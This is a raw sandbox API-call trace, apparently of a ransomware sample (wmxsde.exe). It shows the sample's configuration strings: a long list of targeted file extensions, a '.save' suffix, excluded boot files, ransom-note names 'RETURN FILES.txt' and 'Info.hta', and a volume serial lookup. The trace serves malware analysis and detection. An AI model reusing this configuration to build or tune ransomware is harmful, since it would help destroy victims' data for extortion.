(lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0045.968] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f7720 | out: hHeap=0x6a0000) returned 1 [0045.968] lstrlenW (lpString="") returned 0 [0045.968] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x70a7e0 | out: hHeap=0x6a0000) returned 1 [0045.968] lstrlenW (lpString=".save") returned 5 [0045.968] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e34d0, Size=0x8) returned 0x6e3290 [0045.968] lstrlenW (lpString=".save") returned 5 [0045.968] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x70aa50 | out: hHeap=0x6a0000) returned 1 [0045.968] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x70a948, Size=0x20) returned 0x6dec78 [0045.968] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dec78, Size=0x40) returned 0x6ba660 [0045.968] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba660, Size=0x80) returned 0x6e4c88 [0045.968] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e34d0, Size=0x8) returned 0x6e3310 [0045.968] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3310, Size=0x10) returned 0x70a780 [0045.968] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x70a780, Size=0x20) returned 0x6de818 [0045.968] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0045.968] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4c88 | out: hHeap=0x6a0000) returned 1 [0045.968] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x70a798, Size=0x20) returned 0x6de958 [0045.968] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de958, Size=0x40) returned 0x6ba6a8 [0045.968] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0045.968] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0045.968] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba6a8 | out: hHeap=0x6a0000) returned 1 [0045.968] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x70a948, Size=0x20) returned 0x6de908 [0045.968] lstrlenW (lpString="Info.hta") returned 8 [0045.968] lstrlenW (lpString="Info.hta") returned 8 [0045.968] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de908 | out: hHeap=0x6a0000) returned 1 [0045.969] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x70af58, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\wmxsde.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\wmxsde.exe")) returned 0x22 [0045.969] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x70af58 | out: hHeap=0x6a0000) returned 1 [0045.969] lstrlenW (lpString="wmxsde.exe") returned 10 [0045.969] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de818, Size=0x40) returned 0x6ba6f0 [0045.969] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x70a798, Size=0x20) returned 0x6dea70 [0045.970] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x70a918, Size=0x20) returned 0x6de980 [0045.970] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de980, Size=0x40) returned 0x6ba5d0 [0045.970] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba5d0, Size=0x80) returned 0x6e4b78 [0045.970] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4b78, Size=0x100) returned 0x6e5fd0 [0045.970] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0045.970] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5fd0 | out: hHeap=0x6a0000) returned 1 [0045.970] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x70af58, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0045.970] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x71af60 | out: hHeap=0x6a0000) returned 1 [0045.971] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x70af58 | out: hHeap=0x6a0000) returned 1 [0045.971] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e31a0, Size=0x8) returned 0x6e32b0 [0045.971] lstrlenW (lpString="%windir%;") returned 9 [0045.971] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6dea70 | out: hHeap=0x6a0000) returned 1 [0045.971] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0045.971] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f8728 | out: hHeap=0x6a0000) returned 1 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x70a948, Size=0x20) returned 0x6deac0 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6deac0, Size=0x40) returned 0x6ba348 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba348, Size=0x80) returned 0x6e4e20 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4e20, Size=0x100) returned 0x6e5fd0 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3330, Size=0x8) returned 0x6e3370 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3370, Size=0x10) returned 0x70a840 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x70a840, Size=0x20) returned 0x6deb60 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3310, Size=0x8) returned 0x6e3260 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3270, Size=0x8) returned 0x6e31a0 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e32a0, Size=0x8) returned 0x6e31d0 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e31d0, Size=0x10) returned 0x70ab10 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x70ab10, Size=0x20) returned 0x6deb88 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3260, Size=0x10) returned 0x70ac48 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e31a0, Size=0x10) returned 0x70ab88 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3370, Size=0x8) returned 0x6e32c0 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3330, Size=0x8) returned 0x6e3370 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x70ac48, Size=0x20) returned 0x6de908 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x70ab88, Size=0x20) returned 0x6de818 [0045.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3180, Size=0x8) returned 0x6e32f0 [0045.972] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0045.972] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5fd0 | out: hHeap=0x6a0000) returned 1 [0045.973] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x70aa98, Size=0x20) returned 0x6de8b8 [0045.973] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6f7720, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0045.973] lstrlenW (lpString="C:\\") returned 3 [0045.973] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0045.973] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f7720 | out: hHeap=0x6a0000) returned 1 [0045.973] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e31d0, Size=0x82) returned 0x6e6060 [0045.973] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e31e0, Size=0x100) returned 0x6e60f0 [0045.974] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e6060, Size=0x104) returned 0x6e6318 [0045.974] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e60f0, Size=0x200) returned 0x6f7720 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e31b0 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f7720 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x70acd8 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4ea8 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x70ac48 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4f30 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x70ad38 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6318 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x70ac60 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e61f8 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x70acf0 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e6288 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x70ad08 | out: hHeap=0x6a0000) returned 1 [0045.975] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x70ad08, Size=0x20) returned 0x6deb38 [0045.975] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6deb38, Size=0x40) returned 0x6ba468 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e3230 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x70ac18 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5fd0 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x70ab28 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4e20 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x70ac30 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e32a0 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x70ac78 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b5fe8 | out: hHeap=0x6a0000) returned 1 [0045.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b5150 | out: hHeap=0x6a0000) returned 1 [0045.975] lstrlenW (lpString="%systemdrive%") returned 13 [0045.976] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de8b8 | out: hHeap=0x6a0000) returned 1 [0045.976] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4d98 | out: hHeap=0x6a0000) returned 1 [0045.976] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e32d0 | out: hHeap=0x6a0000) returned 1 [0045.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6e7700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x70ac18, Size=0x20) returned 0x6dea70 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dea70, Size=0x40) returned 0x6ba348 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba348, Size=0x80) returned 0x6e4160 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4160, Size=0x100) returned 0x6e5fd0 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5fd0, Size=0x200) returned 0x6e5fd0 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5fd0, Size=0x400) returned 0x6e5fd0 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5fd0, Size=0x800) returned 0x6f9728 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f9728, Size=0x1000) returned 0x6f9728 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3310, Size=0x8) returned 0x6e3200 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3200, Size=0x10) returned 0x70ac18 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x70ac18, Size=0x20) returned 0x6deb10 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6deb10, Size=0x40) returned 0x6ba390 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba390, Size=0x80) returned 0x6e4160 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4160, Size=0x100) returned 0x6e5fd0 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5fd0, Size=0x200) returned 0x6e5fd0 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5fd0, Size=0x400) returned 0x6e5fd0 [0045.977] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e5fd0, Size=0x800) returned 0x72d398 [0045.978] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0045.978] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6f9728 | out: hHeap=0x6a0000) returned 1 [0045.978] lstrlenW (lpString="") returned 0 [0045.978] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72c340 | out: hHeap=0x6a0000) returned 1 [0045.978] lstrlenW (lpString=".save") returned 5 [0045.978] lstrlenW (lpString=".save") returned 5 [0045.978] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72c340 | out: hHeap=0x6a0000) returned 1 [0045.978] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c370, Size=0x20) returned 0x6de930 [0045.978] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de930, Size=0x40) returned 0x6ba0c0 [0045.978] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba0c0, Size=0x80) returned 0x6e4a68 [0045.978] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d360, Size=0x8) returned 0x72d1d0 [0045.978] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d1d0, Size=0x10) returned 0x72c370 [0045.978] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c370, Size=0x20) returned 0x6de868 [0045.978] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0045.978] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4a68 | out: hHeap=0x6a0000) returned 1 [0045.978] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c658, Size=0x20) returned 0x6de9d0 [0045.978] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de9d0, Size=0x40) returned 0x6ba1e0 [0045.978] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0045.978] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0045.978] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba1e0 | out: hHeap=0x6a0000) returned 1 [0045.978] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c7f0, Size=0x20) returned 0x6debd8 [0045.978] lstrlenW (lpString="Info.hta") returned 8 [0045.978] lstrlenW (lpString="Info.hta") returned 8 [0045.978] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6debd8 | out: hHeap=0x6a0000) returned 1 [0045.979] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x72dba0, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\wmxsde.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\wmxsde.exe")) returned 0x22 [0045.979] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72dba0 | out: hHeap=0x6a0000) returned 1 [0045.979] lstrlenW (lpString="wmxsde.exe") returned 10 [0045.979] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de868, Size=0x40) returned 0x6ba660 [0045.979] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c5f8, Size=0x20) returned 0x6de980 [0045.979] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c6e8, Size=0x20) returned 0x6de868 [0045.979] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de868, Size=0x40) returned 0x6ba6a8 [0045.979] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba6a8, Size=0x80) returned 0x6e4b78 [0045.979] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4b78, Size=0x100) returned 0x6e5fd0 [0045.979] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0045.979] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5fd0 | out: hHeap=0x6a0000) returned 1 [0045.979] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x72dba0, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0045.979] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x73dba8 | out: hHeap=0x6a0000) returned 1 [0045.980] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x72dba0 | out: hHeap=0x6a0000) returned 1 [0045.980] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d320, Size=0x8) returned 0x72d2d0 [0045.981] lstrlenW (lpString="%windir%;") returned 9 [0045.981] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de980 | out: hHeap=0x6a0000) returned 1 [0045.981] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0045.981] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x71af78 | out: hHeap=0x6a0000) returned 1 [0045.981] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c8b0, Size=0x20) returned 0x6debd8 [0045.981] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6debd8, Size=0x40) returned 0x6ba5d0 [0045.981] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6ba5d0, Size=0x80) returned 0x6e41e8 [0045.981] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e41e8, Size=0x100) returned 0x6e5fd0 [0045.981] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d200, Size=0x8) returned 0x72d350 [0045.981] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d350, Size=0x10) returned 0x72c5c8 [0045.981] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c5c8, Size=0x20) returned 0x6de930 [0045.981] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d2c0, Size=0x8) returned 0x72d1e0 [0045.981] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d1d0, Size=0x8) returned 0x72d1f0 [0045.981] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d280, Size=0x8) returned 0x72d320 [0045.981] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d320, Size=0x10) returned 0x72c5f8 [0045.981] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c5f8, Size=0x20) returned 0x6de980 [0045.981] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d1e0, Size=0x10) returned 0x72c7a8 [0045.982] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d1f0, Size=0x10) returned 0x72c730 [0045.982] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d350, Size=0x8) returned 0x72d360 [0045.982] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d350, Size=0x8) returned 0x72d1e0 [0045.982] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c7a8, Size=0x20) returned 0x6dec28 [0045.982] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72c730, Size=0x20) returned 0x6de9a8 [0045.982] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x72d200, Size=0x8) returned 0x72d310 [0045.982] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0045.982] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e5fd0 | out: hHeap=0x6a0000) returned 1 